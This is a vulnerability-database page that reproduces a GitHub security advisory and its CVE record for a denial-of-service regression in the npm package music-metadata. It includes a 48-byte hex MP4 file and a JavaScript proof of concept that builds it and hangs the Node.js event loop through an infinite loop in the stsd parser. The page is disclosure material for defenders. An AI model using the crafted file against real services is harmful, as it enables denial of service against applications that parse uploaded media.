Vulnerability-Lookup

GHSA-F94X-6692-553Q

Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43

Summary

music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master

Details

Summary

StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entry_count and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get runs synchronously inside strtok3's tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream.

This is currently unreleased — present on the master branch only, not in the latest npm release (11.14.0) or any earlier one. Reporting now, before it ships.

Details

lib/mp4/AtomToken.ts, StsdAtom.get():

for (let n = 0; n < header.numberOfEntries; ++n) {
  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size
  off += Token.UINT32_BE.len;                    // +4 (skip the size field)
  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));
  off += size - Token.UINT32_BE.len;             // net advance = size - 4
}

Introduced by commit d2a7d6f ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was off += size (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to off += size - 4 to correct the offset, but added no guard for size < 4.
With size == 0: net advance for the iteration is 4 + (0 - 4) = 0. off never moves. The loop re-reads the same 4 bytes as size on every pass, entry_count (also attacker-controlled, up to 0xFFFFFFFF) never runs out, and table.push(...) grows without bound on every iteration.
StsdAtom.get is invoked synchronously from strtok3's AbstractTokenizer.readToken — there is no await point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; table's unbounded growth means it will also eventually exhaust memory if not killed first.
The pre-fix code (off += size, no -4) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable FieldDecodingError rather than looping. That's why this is a regression introduced specifically by the -4 fix, not a pre-existing bug.

PoC

48-byte MP4 file: a 16-byte ftyp box + a 32-byte stsd box declaring entry_count = 0xFFFFFFFF with one sample entry whose size field is 0.

hex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001
sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80

This builds the malicious buffer inline:

import { parseBuffer } from 'music-metadata';

const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);

function build(entryCount, entrySize) {
  const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
  const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
  const payload = cat(stsdHeader, entry);
  const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
  return Uint8Array.from(cat(ftyp, stsd));
}

const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');

$ timeout 8 node poc.mjs
parsing 48 byte file …
# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time

Control (benign input, entry_count = 1, same size = 0): rejects in 4 ms with a TypeError — the loop runs exactly once and terminates, confirming the hang is specific to the entry_count × size == 0 combination, not the size == 0 field alone.

Version-scope control (same 48-byte file against the latest npm release, music-metadata@11.14.0, which still has the pre-fix off += size): rejects in 4 ms with a FieldDecodingError — no hang. Confirms this is a master-only regression, not present in anything currently shipped.

Impact

Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.

This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 stsd, not ASF extension objects) and, notably, this one reaches every tokenizer backend rather than being spared by parseStream the way the ASF bug was, since the buffer here is already fully materialized in memory when StsdAtom.get runs.

Severity

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "music-metadata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:43:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box\u0027s entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`\u0027s tokenizer, this doesn\u0027t just fail slowly \u2014 it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.\n\nThis is currently unreleased \u2014 present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.\n\n### Details\n\n`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:\n\n```ts\nfor (let n = 0; n \u003c header.numberOfEntries; ++n) {\n  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size\n  off += Token.UINT32_BE.len;                    // +4 (skip the size field)\n  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));\n  off += size - Token.UINT32_BE.len;             // net advance = size - 4\n}\n```\n\n- Introduced by commit `d2a7d6f` (\"fix(mp4): locate each sample entry after the first correctly\", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry \u2014 the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size \u003c 4`.\n- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.\n- `StsdAtom.get` is invoked synchronously from `strtok3`\u0027s `AbstractTokenizer.readToken` \u2014 there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`\u0027s unbounded growth means it will also eventually exhaust memory if not killed first.\n- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That\u0027s why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.\n\n### PoC\n\n48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.\n\n```\nhex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001\nsha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80\n```\n\nThis builds the malicious buffer inline:\n\n```js\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\nconst ascii = (s) =\u003e [...s].map(c =\u003e c.charCodeAt(0) \u0026 0xff);\nconst u32be = (n) =\u003e [(n \u003e\u003e\u003e 24) \u0026 0xff, (n \u003e\u003e\u003e 16) \u0026 0xff, (n \u003e\u003e\u003e 8) \u0026 0xff, n \u0026 0xff];\nconst cat = (...a) =\u003e { const o = []; for (const x of a) o.push(...x); return o; };\nconst zeros = (n) =\u003e new Array(n).fill(0);\n\nfunction build(entryCount, entrySize) {\n  const ftyp = cat(u32be(16), ascii(\u0027ftyp\u0027), ascii(\u0027M4A \u0027), u32be(0));\n  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count\n  const entry = cat(u32be(entrySize), ascii(\u0027mp4a\u0027), zeros(6), [0, 1]); // size + 12-byte SampleEntry\n  const payload = cat(stsdHeader, entry);\n  const stsd = cat(u32be(8 + payload.length), ascii(\u0027stsd\u0027), payload);\n  return Uint8Array.from(cat(ftyp, stsd));\n}\n\nconst hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0\nconsole.log(\u0027parsing\u0027, hang.length, \u0027byte file \u2026\u0027);\nawait parseBuffer(hang, { mimeType: \u0027audio/mp4\u0027 }); // never resolves \u2014 blocks the event loop\nconsole.log(\u0027unreachable\u0027);\n```\n\n```\n$ timeout 8 node poc.mjs\nparsing 48 byte file \u2026\n# process is killed by `timeout` after 8s \u2014 never resolves, ~100% CPU the whole time\n```\n\nControl (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` \u2014 the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` \u00d7 `size == 0` combination, not the `size == 0` field alone.\n\nVersion-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` \u2014 no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.\n\n### Impact\n\nAny application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern \u2014 media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. \n\nThis is the same vulnerability class and CVSS vector as the project\u0027s own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) \u2014 but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.",
  "id": "GHSA-f94x-6692-553q",
  "modified": "2026-10-08T19:43:25Z",
  "published": "2026-10-08T19:43:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/pull/2734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Borewit/music-metadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) \u2014 unreleased regression on master"
}

CVE-2026-107391 (GCVE-0-2026-107391)

Vulnerability from cvelistv5 – Published: 2026-10-08 19:10 – Updated: 2026-10-09 15:14

Title

music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master

Summary

music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.

Severity

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-08 20:23 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/Borewit/music-metadata/securit…	x_refsource_CONFIRM
https://github.com/Borewit/music-metadata/pull/2734	x_refsource_MISC
https://github.com/Borewit/music-metadata/commit/…	x_refsource_MISC
https://github.com/Borewit/music-metadata/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Borewit	music-metadata	Affected: < 11.16.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-107391",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-08T20:23:13.594233Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-09T15:14:19.590Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "music-metadata",
          "vendor": "Borewit",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 11.16.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-08T19:10:47.365Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"
        },
        {
          "name": "https://github.com/Borewit/music-metadata/pull/2734",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Borewit/music-metadata/pull/2734"
        },
        {
          "name": "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5"
        },
        {
          "name": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
        }
      ],
      "source": {
        "advisory": "GHSA-f94x-6692-553q",
        "discovery": "UNKNOWN"
      },
      "title": "music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) \u2014 unreleased regression on master"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107391",
    "datePublished": "2026-10-08T19:10:47.365Z",
    "dateReserved": "2026-10-07T21:07:54.988Z",
    "dateUpdated": "2026-10-09T15:14:19.590Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-F94X-6692-553Q

Summary

Details

PoC

Impact

CVE-2026-107391 (GCVE-0-2026-107391)

Tags

Sightings

Nomenclature

Related by attack behaviour